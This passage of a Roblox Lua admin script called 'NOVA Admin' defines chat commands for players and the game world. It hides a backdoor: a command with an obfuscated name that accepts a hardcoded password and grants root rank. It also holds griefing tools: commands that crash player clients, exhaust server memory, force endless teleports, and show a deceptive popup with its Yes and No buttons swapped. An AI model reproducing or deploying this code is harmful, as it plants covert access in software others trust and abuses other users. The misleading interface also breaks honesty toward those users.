            Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
3254
            Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
3255
            Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
3256
        end)
3257
    end
3258
)
3259
 
3260
AddCommand("Time","time",1,"Changes the time.","<Number>",
3261
    function(Msg,Speaker)
3262
        NOVA.Services.Lighting.TimeOfDay = Msg
3263
    end
3264
)
3265
 
3266
AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
3267
    function(Msg,Speaker)
3268
        NOVA.Services.Lighting.FogEnd = Msg
3269
    end
3270
)
3271
 
3272
AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
3273
    function(Msg,Speaker)
3274
        NOVA.Services.Lighting.FogStart = Msg
3275
    end
3276
)
3277
 
3278
AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
3279
    function(Msg,Speaker)
3280
        if Msg == "red" then Color = NOVA.Colors.Red
3281
            elseif Msg == "black" then Color = NOVA.Colors.Black
3282
            elseif Msg == "white" then Color = NOVA.Colors.White
3283
            elseif Msg == "orange" then Color = NOVA.Colors.Orange
3284
            elseif Msg == "green" then Color = NOVA.Colors.Green
3285
            elseif Msg == "blue" then Color = NOVA.Colors.Blue
3286
        end
3287
        NOVA.Services.Lighting.FogColor = Color
3288
    end
3289
)
3290
--deride
3291
AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
3292
    function(Msg,Speaker)
3293
        CanOverride = false
3294
        if GetRank(Speaker) < 6 then
3295
            if Msg == "ibpwning123" then
3296
                CanOverride = true
3297
            else
3298
                Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
3299
            end
3300
        else
3301
            CanOverride = true
3302
        end
3303
        if NOVA.Overrided == true then
3304
            CanOverride = false
3305
            Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
3306
            return
3307
        end
3308
        if CanOverride == true then
3309
            NOVA.Overrided = true
3310
            NOVA.Overrider = Speaker
3311
            --[[for _,v in pairs(NOVA.Ranked) do
3312
                if v.Rank < 6 then
3313
                    v.Rank = v.Rank / 10
3314
                end
3315
            end]]
3316
        --[[    CF = Speaker.Character.Torso.CFrame
3317
            Sound = Instance.new("Sound",workspace)
3318
            Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
3319
            Sound.Pitch = 0.2
3320
            Sound.Volume = 1
3321
            wait()
3322
            Sound:Play()
3323
            Shockwave = Instance.new("Part",workspace)
3324
            Shockwave.FormFactor = "Custom"
3325
            Shockwave.Name = "Shockwave"
3326
            Shockwave.Anchored = true
3327
            Shockwave.CanCollide = false
3328
            Shockwave.Transparency = 0
3329
            Shockwave.Reflectance = 0
3330
            Shockwave.BrickColor = BrickColor.new(0,0,0)
3331
            Shockwave.Size = Vector3.new(0,0,0)
3332
            ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
3333
            ShockwaveMesh.MeshType = "FileMesh"
3334
            ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
3335
            ShockwaveMesh.Scale = Vector3.new(1,1,100)
3336
 
3337
            for Times = 1,10 do
3338
                coroutine.resume(coroutine.create(function()
3339
                    for i=1,1000 do
3340
                        wait()
3341
                        ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
3342
                        Shockwave.CFrame = CF
3343
                            * CFrame.new(0,0,0)
3344
                            * CFrame.Angles(math.rad(90),0,0)
3345
                        Shockwave.Transparency = i/100
3346
                    end
3347
                    Shockwave:Remove()
3348
                    Sound:Remove()
3349
                end))
3350
            end
3351
 
3352
]]
3353
            GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
3354
            Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
3355
            Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
3356
            Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
3357
            OnChatted(NOVA.Bet .. "fence/me",Speaker)
3358
        end
3359
        return CanOverride
3360
    end
3361
)
3362
 
3363
AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
3364
    function(Msg,Speaker)
3365
        NOVA.Overrided = false
3366
        for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
3367
        NOVA.Targeted = {};
3368
        NOVA.Waypoints = {};
3369
        NOVA.Log = {};
3370
        NOVA.LoggedScripts = {};
3371
        NOVA.PRI = false;
3372
        NOVA.LockedScripts = false;
3373
        NOVA.Removed = false;
3374
        NOVA.ShowChat = true;
3375
        NOVA.Canceled = false;
3376
        NOVA.TimeChanged = false;
3377
        NOVA.Overrider = nil
3378
        for _,v in pairs(NOVA.Ranked) do
3379
            if #tostring(v.Rank) == 3 then
3380
                if tostring(v.Rank):sub(1,1) == "8" then
3381
                    v.Rank = (v.Rank - 8) * 10
3382
                else
3383
                    --v.Rank = v.Rank * 10
3384
                end
3385
            end
3386
        end
3387
    end
3388
)
3389
 
3390
AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
3391
    function(Msg,Speaker)
3392
   
3393
        Split = GetSplit(Msg)
3394
 
3395
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3396
            OnChatted(Msg:sub(Split),v)
3397
        end
3398
    end
3399
)
3400
 
3401
AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
3402
    function(Msg,Speaker)
3403
   
3404
        Split = GetSplit(Msg)
3405
       
3406
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3407
            Output(Msg:sub(Split+1),"Random",v,10)
3408
        end
3409
    end
3410
)
3411
 
3412
AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
3413
    function(Msg,Speaker)
3414
        Split = GetSplit(Msg)
3415
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3416
            pcall(function()
3417
                v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
3418
            end)
3419
        end
3420
    end
3421
)
3422
 
3423
AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
3424
    function(Msg,Speaker)
3425
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3426
            for i=1,6 do
3427
                local Cube = Instance.new("Part",NOVA.Services.Workspace)
3428
                Cube.FormFactor = "Custom"
3429
                Cube.Size = Vector3.new(10,7,5)
3430
                Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
3431
                Cube.Anchored = false
3432
                Cube.CanCollide = true
3433
                Cube.Locked = true
3434
                Cube.Friction = 0
3435
                Cube.Transparency= 0
3436
                Cube.Reflectance = 0.5
3437
                Cube:BreakJoints()
3438
                Cube.CFrame = v.Character.Torso.CFrame
3439
               
3440
                local Mesh = Instance.new("SpecialMesh",Cube)
3441
                Mesh.MeshType = "FileMesh"
3442
                Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
3443
                Mesh.Scale = Vector3.new(0.1,0.1,0.1)
3444
               
3445
                Cube.Touched:connect(function(part)
3446
                    --if part == v.Character.Torso then
3447
                        part:BreakJoints()
3448
                        NOVA.Services.Debris:AddItem(Cube,20)
3449
                    --end
3450
                end)
3451
            end
3452
        end
3453
    end
3454
)
3455
 
3456
AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
3457
    function(Msg,Speaker)
3458
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3459
            pcall(function()
3460
                v.PlayerGui:ClearAllChildren()
3461
            end)
3462
        end
3463
    end
3464
)
3465
 
3466
AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
3467
    function(Msg,Speaker)
3468
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3469
            pcall(function()
3470
                v.PlayerGui:Destroy()
3471
            end)
3472
        end
3473
    end
3474
)
3475
 
3476
AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
3477
    function(Msg,Speaker)
3478
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3479
            pcall(function()
3480
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3481
                    if part:IsA("BasePart") then
3482
                        Instance.new("Fire",part)
3483
                    end
3484
                end
3485
            end)
3486
        end
3487
    end
3488
)
3489
 
3490
AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
3491
    function(Msg,Speaker)
3492
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3493
            pcall(function()
3494
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3495
                    if part:IsA("Fire") then
3496
                        part:Destroy()
3497
                    end
3498
                end
3499
            end)
3500
        end
3501
    end
3502
)
3503
 
3504
AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
3505
    function(Msg,Speaker)
3506
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3507
            pcall(function()
3508
                coroutine.resume(coroutine.create(function()
3509
                    local Fire = Instance.new("Fire",v.Character.Torso)
3510
                    for _,part in pairs(GetRecursiveChildren(v.Character)) do
3511
                        if part:IsA("BasePart") then
3512
                            Instance.new("Fire",part)
3513
                        end
3514
                    end
3515
                    wait()
3516
                    for i=1,math.huge do
3517
                        if Fire.Parent == nil then break end
3518
                        if v.Character.Humanoid == nil then break end
3519
                        if v.Character.Humanoid.Health <= 0 then break end
3520
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
3521
                        wait(math.random(0,1))
3522
                    end
3523
                end))
3524
            end)
3525
        end
3526
    end
3527
)
3528
 
3529
AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
3530
    function(Msg,Speaker)
3531
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3532
            pcall(function()
3533
                v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
3534
            end)
3535
        end
3536
    end
3537
)
3538
 
3539
AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
3540
    function(Msg,Speaker)
3541
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3542
            pcall(function()
3543
                v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
3544
            end)
3545
        end
3546
    end
3547
)
3548
 
3549
AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
3550
    function(Msg,Speaker)
3551
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3552
            Cape(v)
3553
        end
3554
    end
3555
)
3556
 
3557
AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
3558
    function(Msg,Speaker)
3559
        coroutine.resume(coroutine.create(function()
3560
 
3561
            Material = math.random(1,16)
3562
            Cap = 1000
3563
            GenNum = 50
3564
            Size = 100
3565
            Type = math.random(0,4)
3566
            for i=1, Cap do
3567
                --wait()
3568
                for i=1,GenNum do
3569
                    Material = math.random(1,16)
3570
                    Type = math.random(0,4)
3571
                    X = math.random((Size/2)*-1,Size/2)
3572
                    Y = math.random(-1,Size-1)
3573
                    Z = math.random((Size/2)*-1,Size/2)
3574
                    NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
3575
                end
3576
            end
3577
        end))
3578
    end
3579
)
3580
 
3581
AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
3582
    function(Msg,Speaker)
3583
        NOVA.Services.Workspace.Terrain:Clear()
3584
    end
3585
)
3586
 
3587
AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
3588
    function(Msg,Speaker)
3589
        coroutine.resume(coroutine.create(function()
3590
            size = Vector3.new(700, 12, 700)
3591
            for X=(size.x/2)*-1,size.x/2  do
3592
                for Y=-1, size.y-1 do
3593
                    for Z=(size.z/2)*-1, size.z/2 do
3594
                        NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
3595
                    end
3596
                end
3597
                --wait(tonumber("0."..string.rep("0",10000).."1"))
3598
            end
3599
        end))
3600
    end
3601
)
3602
 
3603
AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
3604
    function(Msg,Speaker)
3605
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3606
            Char = v.Character
3607
            pcall(function() Char["Shirt Graphic"]:Remove() end)
3608
            pcall(function() Char.Humanoid.MaxHealth = math.huge end)
3609
            pcall(function() Char["Body Colors"]:Remove() end)
3610
            pcall(function() Char.Torso.roblox:Remove()    end)
3611
            pcall(function() Char.Shirt:Remove() end)
3612
            pcall(function() Char.Pants:Remove() end)
3613
            wait()
3614
            for _,v in pairs(GetRecursiveChildren(Char)) do
3615
                pcall(function()
3616
                    v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
3617
                end)
3618
                pcall(function()
3619
                    v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
3620
                    v.Reflectance = 0
3621
                    v.TopSurface = "Smooth"
3622
                    a.BottomSurfave = "Smooth"
3623
                end)
3624
            end
3625
        end
3626
    end
3627
)
3628
 
3629
AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
3630
    function(Msg,Speaker)
3631
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3632
            v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
3633
            wait()
3634
            v.Character:BreakJoints()
3635
        end
3636
    end
3637
)
3638
 
3639
AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
3640
    function(Msg,Speaker)
3641
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3642
            local Part = Instance.new("Part",v.Character)
3643
            Part.Name = "Horus"
3644
            Part.Size = Vector3.new(2,2,2)
3645
            Part.CanCollide = false
3646
            Part.Locked = true
3647
            Part:BreakJoints()
3648
            local Weld = Instance.new("Weld",Part)
3649
            Weld.Part0 = Part
3650
            Weld.Part1 = v.Character.Head
3651
            Weld.C0 = CFrame.new(0,-0.5,0)
3652
            local Mesh = Instance.new("SpecialMesh",Part)
3653
            Mesh.MeshType = "FileMesh"
3654
            Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
3655
            Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
3656
            for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
3657
                v:Remove()
3658
            end
3659
            pcall(function()
3660
                v.Character.Pants:Remove()
3661
            end)
3662
            pcall(function()
3663
                v.Character.Shirt:Remove()
3664
            end)
3665
            local Shirt = Instance.new("Shirt",v.Character)
3666
            Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
3667
            local Pants = Instance.new("Pants",v.Character)
3668
            Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
3669
        end
3670
    end
3671
)
3672
 
3673
AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
3674
    function(Msg,Speaker)
3675
        Split = GetSplit(Msg)
3676
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3677
            v.Neutral = Msg:sub(Split+1)
3678
        end
3679
    end
3680
)
3681
 
3682
AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
3683
    function(Msg,Speaker)
3684
        MainCFrame = CFrame.new(0,3,15)
3685
            * CFrame.Angles(0,math.rad(90),0)
3686
        local Special = {}
3687
        pcall(function() workspace["NOVA Portal"]:Remove() end)
3688
        local Model = Instance.new("Model",workspace)
3689
        Model.Name = "NOVA Portal"
3690
        for angle=1,360/4 do
3691
            local Part = Instance.new("Part",Model)
3692
            Part.Name = "Part"
3693
            Part.FormFactor = "Custom"
3694
            Part.CanCollide = true
3695
            Part.Anchored = true
3696
            Part.Locked = true
3697
            Part.Transparency = 0
3698
            Part.Reflectance = 0
3699
            Part.Size = Vector3.new(1,5/2,1)
3700
            Part.BrickColor = BrickColor.new("Navy blue")
3701
            Part.CFrame = MainCFrame
3702
                * CFrame.Angles(math.rad(angle*4), 0, 0)
3703
                * CFrame.new(0, 15/2, i)
3704
            --wait(0)
3705
            Instance.new("BlockMesh",Part)
3706
            for num=0,1000,5 do
3707
                if angle==num then
3708
                    wait()
3709
                    table.insert(Special,Part)
3710
                    --Part.Reflectance = 1
3711
                    Part.Size = Vector3.new(0.9,5/2,0.9)
3712
                    Part.CFrame = MainCFrame
3713
                        * CFrame.Angles(math.rad(angle*4), 0, 0)
3714
                        * CFrame.new(0, 15/2, i)
3715
                end
3716
            end
3717
        end
3718
 
3719
        for _,v in pairs(Special) do v.Reflectance = 1 wait() end
3720
       
3721
        local Part = Instance.new("Part",Model)
3722
        Part.Name = "Part"
3723
        Part.FormFactor = "Custom"
3724
        Part.CanCollide = false    
3725
        Part.Anchored = true
3726
        Part.Locked = true
3727
        Part.TopSurface = "Smooth"
3728
        Part.BottomSurface = "Smooth"
3729
        Part.Transparency = 0.5
3730
        Part.Reflectance = 0
3731
        Part.Size = Vector3.new(0.2,0.2,0.2)
3732
        Part.BrickColor = BrickColor.new("Really black")
3733
        Part.CFrame = MainCFrame
3734
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3735
            * CFrame.new(0, 0, 0)
3736
        Instance.new("CylinderMesh",Part)
3737
 
3738
        for i=0.2,51/4,0.5 do
3739
            wait()
3740
            Part.Size = Vector3.new(i,0.9,i)
3741
            Part.CFrame = MainCFrame
3742
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3743
            * CFrame.new(0, 0, 0)
3744
        end
3745
 
3746
        coroutine.resume(coroutine.create(function()
3747
            while true do wait()
3748
                for i=0,1,0.01 do wait() Part.Reflectance = i end
3749
                for i=1,0,-0.01 do wait() Part.Reflectance = i end
3750
            end
3751
        end))
3752
 
3753
        Part.Touched:connect(function(Part)
3754
            Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
3755
            if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
3756
                --print(Player.Name.." touched.")
3757
                CreateLocalScript([==[
3758
                    LocalPlayer = game:GetService("Players").LocalPlayer
3759
                    Places = {
3760
                        {Name = "Oxcool1 SB",ID = 20279777};
3761
                        {Name = "Oxcool1 PRI SB", ID = 20132544};
3762
                        {Name = "TNS SB", ID = 23232804};
3763
                        {Name = "BrainWart SB", ID = 76809211};
3764
                        {Name = "nb SB",ID = 113456};
3765
                        {Name = "nb SB (2)",ID = 56786};
3766
                        {Name = "Insert Wars",ID = 13329886};
3767
                                                                {Name = "tus sb", ID = 49907749};
3768
                    }
3769
                    pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
3770
                    local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
3771
                    Main.Name = "NOVA Teleport"
3772
                    script.Parent = Main
3773
 
3774
                    local Frame = Instance.new("Frame",Main)
3775
                    Frame.Size = UDim2.new(0.27,0,0.05,0)
3776
                    Frame.Position = UDim2.new(0.,0,0.2,0)
3777
                    Frame.Style = "RobloxSquare"
3778
 
3779
                    local Txt = Instance.new("TextBox",Frame)
3780
                    Txt.Size = UDim2.new(0.7,0,1,0)
3781
                    Txt.BackgroundTransparency = 1
3782
                    Txt.FontSize = "Size14"
3783
                    Txt.TextColor3 = Color3.new(1,1,1)
3784
                    Txt.Text = "ID/Name Here"
3785
                   
3786
                    local Close = Instance.new("TextButton",Frame)
3787
                    Close.Size = UDim2.new(0.1,0,1,0)
3788
                    Close.Position = UDim2.new(0.9,0,0,0)
3789
                    Close.Text = "X"
3790
                    Close.BackgroundTransparency = 1
3791
                    Close.FontSize = "Size14"
3792
                    Close.TextColor3 = Color3.new(1,0,0)
3793
                    Close.MouseButton1Down:connect(function()
3794
                        Main:Remove()
3795
                    end)
3796
                   
3797
                    local Exe = Instance.new("TextButton",Frame)
3798
                    Exe.Size = UDim2.new(0.2,0,1,0)
3799
                    Exe.Position = UDim2.new(0.6,0,0,0)
3800
                    Exe.Text = "Teleport"
3801
                    Exe.BackgroundTransparency = 1
3802
                    Exe.FontSize = "Size14"
3803
                    Exe.TextColor3 = Color3.new(1,0,0)
3804
                    Exe.MouseButton1Down:connect(function()
3805
                        GoTo = Txt.Text
3806
                        for _,v in pairs(Places) do
3807
                            if Txt.Text:lower() == v.Name:lower() then
3808
                                GoTo = v.ID
3809
                            end
3810
                        end
3811
                        game:GetService'TeleportService':Teleport(GoTo)
3812
                        Main:Remove()
3813
                    end)
3814
 
3815
                    List = Instance.new("Frame",Main)
3816
                    List.Size = UDim2.new(0.27,0,0.05*#Places,0)
3817
                    List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
3818
                    List.Style = "RobloxSquare"
3819
 
3820
                    for NUM,v in pairs(Places) do
3821
                        Name = Instance.new("TextButton",List)
3822
                        Name.Size = UDim2.new(0.5,0,1/#Places,0)
3823
                        Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
3824
                        Name.BackgroundTransparency = 1
3825
                        Name.FontSize = "Size14"
3826
                        Name.TextColor3 = Color3.new(1,1,1)
3827
                        Name.Text = v.Name
3828
                        Name.MouseButton1Down:connect(function()
3829
                            game:GetService'TeleportService':Teleport(v.ID)
3830
                        end)
3831
                        ID = Instance.new("TextButton",List)
3832
                        ID.Size = UDim2.new(0.5,0,1/#Places,0)
3833
                        ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
3834
                        ID.BackgroundTransparency = 1
3835
                        ID.FontSize = "Size14"
3836
                        ID.TextColor3 = Color3.new(1,1,1)
3837
                        ID.Text = v.ID
3838
                        ID.MouseButton1Down:connect(function()
3839
                            game:GetService'TeleportService':Teleport(v.ID)
3840
                        end)
3841
                    end
3842
                ]==],Player.Backpack)
3843
            end
3844
        end)
3845
    end
3846
)
3847
 
3848
AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
3849
    function(Msg,Speaker)
3850
        GetSplit(Msg)
3851
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3852
            CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
3853
        end
3854
    end
3855
)
3856
 
3857
AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
3858
    function(Msg,Speaker)
3859
        Split = GetSplit(Msg)
3860
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3861
            CreateLocalScript([==[
3862
                script.Parent = nil
3863
                while true do wait()
3864
                    game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
3865
                end
3866
            ]==],v.Backpack)
3867
        end
3868
    end
3869
)
3870
 
3871
AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
3872
    function(Msg,Speaker)
3873
        Split = GetSplit(Msg)
3874
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3875
            pcall(function()
3876
                CreateLocalScript([[
3877
                    LocalPlayer = game.Players.LocalPlayer
3878
                    script.Parent = nil
3879
                    ScreenGui = Instance.new("ScreenGui")
3880
                    ScreenGui.Name = "Trololol"
3881
                    Frame = Instance.new("Frame",ScreenGui)
3882
                    Frame.Name = "Popup"
3883
                    Frame.Style = "RobloxRound"
3884
                    Frame.Size = UDim2.new(0, 330, 0, 350)
3885
                    Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
3886
                    Frame.Active = true
3887
                    Frame.ZIndex = 9
3888
 
3889
                    Image = Instance.new("ImageLabel",Frame)
3890
                    Image.Name = "Backing"
3891
                    Image.Image = "http://www.roblox.com/asset/?id=47574181"
3892
                    Image.Active = true
3893
                    Image.Size = UDim2.new(0, 280, 0, 280)
3894
                    Image.Position = UDim2.new(0.5, -140, 0, 0)
3895
                    Image.BackgroundTransparency = 1
3896
                    Image.ZIndex = 8
3897
 
3898
                    Text = Instance.new("TextLabel",Frame)
3899
                    Text.Name = "Popup Text"
3900
                    Text.Text = "Are you sure you want to teleport from this place?"
3901
                    Text.FontSize = "Size36"
3902
                    Text.TextWrap = true
3903
                    Text.Active = true
3904
                    Text.TextColor3 = Color3.new(1,1,1)
3905
                    Text.Size = UDim2.new(1, 0, 0.800000012, 0)
3906
                    Text.Position = UDim2.new(0,0,0,0)
3907
                    Text.BackgroundTransparency = 1
3908
                    Text.ZIndex = 10
3909
 
3910
                    Accept = Instance.new("TextButton",Frame)
3911
                    Accept.Name = "AcceptButton"
3912
                    Accept.Text = "No"
3913
                    Accept.Style = "RobloxButton"
3914
                    Accept.FontSize = "Size24"
3915
                    Accept.Active = true
3916
                    Accept.TextColor3 = Color3.new(1,1,1)
3917
                    Accept.Size = UDim2.new(0, 100, 0, 50)
3918
                    Accept.Position = UDim2.new(0,20,0,270)
3919
                    Accept.ZIndex = 10
3920
 
3921
                    Decline = Instance.new("TextButton",Frame)
3922
                    Decline.Name = "DeclineButton"
3923
                    Decline.Text = "Yes"
3924
                    Decline.Style = "RobloxButton"
3925
                    Decline.FontSize = "Size24"
3926
                    Decline.Active = true
3927
                    Decline.TextColor3 = Color3.new(1,1,1)
3928
                    Decline.Size = UDim2.new(0, 100, 0, 50)
3929
                    Decline.Position = UDim2.new(1, -120, 0, 270)
3930
                    Decline.ZIndex = 10
3931
 
3932
                    Darken = Instance.new("Frame",Frame)
3933
                    Darken.Name = "Darken"
3934
                    Darken.Style = "RobloxRound"
3935
                    Darken.Size = UDim2.new(1,16,1,16)
3936
                    Darken.Position = UDim2.new(0,-8,0,-8)
3937
                    Darken.Active = true
3938
                    Darken.Visible = false
3939
 
3940
                    Backing = Instance.new("Frame",ScreenGui)
3941
                    Backing.Name = "Backing"
3942
                    Backing.BackgroundColor3 = Color3.new(1,1,1)
3943
                    Backing.Size = UDim2.new(1,0,1,0)
3944
                    Backing.Active = true
3945
                    ScreenGui.Parent = game:GetService("CoreGui")
3946
                   
3947
                    while true do wait()
3948
                        game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
3949
                    end
3950
 
3951
 
3952
                ]],v.Backpack)
3953
            end)
3954
        end
3955
    end
3956
)
3957
 
3958
AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
3959
    function(Msg,Speaker)
3960
            coroutine.resume(coroutine.create(function()
3961
            NOVA.Services.Lighting.TimeOfDay = 0
3962
            NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
3963
            NOVA.Services.Lighting.Brightness = 0
3964
            NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
3965
            NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
3966
            NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
3967
 
3968
            for _,v in pairs(GetRecursiveChildren(workspace)) do
3969
                if v:IsA("BasePart") then
3970
                    Sel = Instance.new("SelectionBox",v)
3971
                    Sel.Color = BrickColor.new("Really red")
3972
                    Sel.Transparency = 0
3973
                    Sel.Adornee = v
3974
                end
3975
            end
3976
            for i=10,1,-1 do
3977
                NOVA.Sounds.Sound.Parent = workspace
3978
                NOVA.Sounds.Sound.Volume = 1
3979
                NOVA.Sounds.Sound.Pitch = 1
3980
                NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
3981
                wait(1)
3982
                NOVA.Sounds.Sound:Play()
3983
                if NOVA.Overrided == true then return end
3984
            end
3985
            for i=5,1,-1 do
3986
                NOVA.Sounds.Sound.Parent = workspace
3987
                NOVA.Sounds.Sound.Volume = 1
3988
                NOVA.Sounds.Sound.Pitch = 1
3989
                NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
3990
                wait(1)
3991
                NOVA.Sounds.Sound:Play()
3992
                if NOVA.Overrided == true then return end
3993
            end
3994
            wait(1)
3995
            Instance.new("ManualSurfaceJointInstance",workspace)
3996
        Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
3997
        end))
3998
    end
3999
)
4000
 
4001
AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
4002
    function(Msg,Speaker)
4003
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4004
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4005
                Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4006
            else
4007
                pcall(function()
4008
                    GetRidOf(v)
4009
                end)
4010
            end
4011
        end
4012
    end
4013
)
4014
 
4015
AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
4016
    function(Msg,Speaker)
4017
        coroutine.resume(coroutine.create(function()
4018
            for _,v in pairs(NOVA.Sounds.Numbers) do
4019
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4020
                NOVA.Sounds.Sound.SoundId = v
4021
                NOVA.Sounds.Sound.Volume = 0
4022
                wait()
4023
                NOVA.Sounds.Sound:Play()
4024
                wait()
4025
                NOVA.Sounds.Sound:Stop()
4026
                wait(1)
4027
            end
4028
            for _,v in pairs(NOVA.Sounds.PlayAfter) do
4029
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4030
                NOVA.Sounds.Sound.SoundId = v
4031
                NOVA.Sounds.Sound.Volume = 0
4032
                wait()
4033
                NOVA.Sounds.Sound:Play()
4034
                wait()
4035
                NOVA.Sounds.Sound:Stop()
4036
                wait(1)
4037
            end
4038
            NOVA.Sounds.Sound.Volume = 1
4039
        end))
4040
    end
4041
)
4042
 
4043
AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
4044
